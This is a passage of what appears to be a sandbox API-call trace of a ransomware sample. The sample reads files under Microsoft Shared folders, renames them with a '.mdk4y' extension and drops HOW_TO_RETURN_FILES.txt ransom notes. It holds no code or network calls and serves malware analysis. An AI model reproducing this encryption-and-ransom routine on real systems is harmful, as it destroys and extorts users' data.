files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0123.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819902700000) returned 1 [0123.797] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x1e434, lpOverlapped=0x0) returned 1 [0123.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819911500000) returned 1 [0123.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819911500000) returned 1 [0123.886] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.mdk4y")) returned 1 [0123.887] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0123.887] AreFileApisANSI () returned 1 [0123.887] GetACP () returned 0x4e4 [0123.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VBUI6.CHM", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="VBUI6.CHM", lpUsedDefaultChar=0x37de34) returned 9 [0123.887] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0123.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819911800000) returned 1 [0123.888] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x65c96, lpOverlapped=0x0) returned 1 [0123.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819914200000) returned 1 [0123.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819914200000) returned 1 [0123.915] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.mdk4y")) returned 1 [0123.916] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0123.916] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0123.917] AreFileApisANSI () returned 1 [0123.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0123.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0123.917] GetFileType (hFile=0x13c) returned 0x1 [0123.918] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0123.918] AreFileApisANSI () returned 1 [0123.918] GetACP () returned 0x4e4 [0123.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=8, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="VBE7.DLLs\\Microsoft Shared\\Triedit\\en-US\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dec0) returned 8 [0123.918] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0123.919] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819914900000) returned 1 [0123.919] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x100000, lpOverlapped=0x0) returned 1 [0123.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819922900000) returned 1 [0123.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819922900000) returned 1 [0124.029] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.mdk4y")) returned 1 [0124.030] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0124.030] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0124.030] AreFileApisANSI () returned 1 [0124.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0124.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0124.031] GetFileType (hFile=0x130) returned 0x1 [0124.032] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0124.032] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0124.032] AreFileApisANSI () returned 1 [0124.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0124.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0124.033] GetFileType (hFile=0x12c) returned 0x1 [0124.034] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0124.034] AreFileApisANSI () returned 1 [0124.034] GetACP () returned 0x4e4 [0124.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VC", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="VCA", lpUsedDefaultChar=0x37dfd8) returned 2 [0124.034] AreFileApisANSI () returned 1 [0124.034] GetACP () returned 0x4e4 [0124.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=50, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\㖬h") returned 50 [0124.035] AreFileApisANSI () returned 1 [0124.035] GetACP () returned 0x4e4 [0124.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\VBA\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0124.035] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.035] AreFileApisANSI () returned 1 [0124.035] GetACP () returned 0x4e4 [0124.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\VBA\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0124.035] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.035] AreFileApisANSI () returned 1 [0124.035] GetACP () returned 0x4e4 [0124.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdia100.dll", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msdia100.dllcrosoft Shared\\VBA\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 12 [0124.035] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.035] AreFileApisANSI () returned 1 [0124.035] GetACP () returned 0x4e4 [0124.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdia90.dll", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msdia90.dlll", lpUsedDefaultChar=0x37df4c) returned 11 [0124.035] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0124.036] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0124.036] AreFileApisANSI () returned 1 [0124.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0124.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0124.036] GetFileType (hFile=0x12c) returned 0x1 [0124.037] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0124.037] AreFileApisANSI () returned 1 [0124.037] GetACP () returned 0x4e4 [0124.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VGX", cchWideChar=3, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="VGX", lpUsedDefaultChar=0x37dfd8) returned 3 [0124.037] AreFileApisANSI () returned 1 [0124.037] GetACP () returned 0x4e4 [0124.037] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\h") returned 51 [0124.038] AreFileApisANSI () returned 1 [0124.038] GetACP () returned 0x4e4 [0124.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\VC\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0124.038] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.038] AreFileApisANSI () returned 1 [0124.038] GetACP () returned 0x4e4 [0124.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\VC\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0124.038] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.038] AreFileApisANSI () returned 1 [0124.038] GetACP () returned 0x4e4 [0124.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VGX.dll", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VGX.dlles\\Microsoft Shared\\VC\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 7 [0124.038] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0124.038] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0124.039] AreFileApisANSI () returned 1 [0124.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0124.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0124.039] GetFileType (hFile=0x12c) returned 0x1 [0124.040] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0124.040] AreFileApisANSI () returned 1 [0124.040] GetACP () returned 0x4e4 [0124.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Visio Shared", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Visio Sharede", lpUsedDefaultChar=0x37dfd8) returned 12 [0124.040] AreFileApisANSI () returned 1 [0124.040] GetACP () returned 0x4e4 [0124.040] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=60, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\꺨j獸klj") returned 60 [0124.041] AreFileApisANSI () returned 1 [0124.041] GetACP () returned 0x4e4 [0124.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\VGX\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0124.041] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.041] AreFileApisANSI () returned 1 [0124.041] GetACP () returned 0x4e4 [0124.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\VGX\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0124.041] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.041] AreFileApisANSI () returned 1 [0124.041] GetACP () returned 0x4e4 [0124.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Fonts", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Fontsiles\\Microsoft Shared\\VGX\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 5 [0124.041] AreFileApisANSI () returned 1 [0124.041] GetACP () returned 0x4e4 [0124.041] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=66, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\㗃ĺ=") returned 66 [0124.078] AreFileApisANSI () returned 1 [0124.078] GetACP () returned 0x4e4 [0124.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b8c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".Xqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0124.078] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.078] AreFileApisANSI () returned 1 [0124.078] GetACP () returned 0x4e4 [0124.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b8c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..qpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0124.078] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.078] AreFileApisANSI () returned 1 [0124.078] GetACP () returned 0x4e4 [0124.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BIGFONT.SHX", cchWideChar=11, lpMultiByteStr=0x6b7b8c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BIGFONT.SHXBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 11 [0124.078] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0124.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819930800000) returned 1 [0124.078] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4f2ea, lpOverlapped=0x0) returned 1 [0124.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819936700000) returned 1 [0124.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819936700000) returned 1 [0124.140] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.mdk4y")) returned 1 [0124.141] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.141] AreFileApisANSI () returned 1 [0124.141] GetACP () returned 0x4e4 [0124.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CHINESET.SHX", cchWideChar=12, lpMultiByteStr=0x6b7b8c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CHINESET.SHXcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0124.141] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0124.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819937300000) returned 1 [0124.143] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa261d, lpOverlapped=0x0) returned 1 [0124.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819940200000) returned 1 [0124.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819940200000) returned 1 [0124.180] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.mdk4y")) returned 1 [0124.181] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.181] AreFileApisANSI () returned 1 [0124.181] GetACP () returned 0x4e4 [0124.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXTFONT.SHX", cchWideChar=11, lpMultiByteStr=0x6b7b8c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="EXTFONT.SHXX", lpUsedDefaultChar=0x37dec0) returned 11 [0124.181] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0124.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819941200000) returned 1 [0124.182] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6a9e6, lpOverlapped=0x0) returned 1 [0124.205] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819943500000) returned 1 [0124.205] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819943500000) returned 1 [0124.208] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.mdk4y")) returned 1 [0124.209] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.209] AreFileApisANSI () returned 1 [0124.209] GetACP () returned 0x4e4 [0124.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GBCBIG.SHX", cchWideChar=10, lpMultiByteStr=0x6b7b8c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="GBCBIG.SHXX", lpUsedDefaultChar=0x37dec0) returned 10 [0124.209] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0124.210] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819944000000) returned 1 [0124.210] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xdc6b9, lpOverlapped=0x0) returned 1 [0124.309] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819953900000) returned 1 [0124.309] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819953900000) returned 1 [0124.317] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.mdk4y")) returned 1 [0124.318] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: 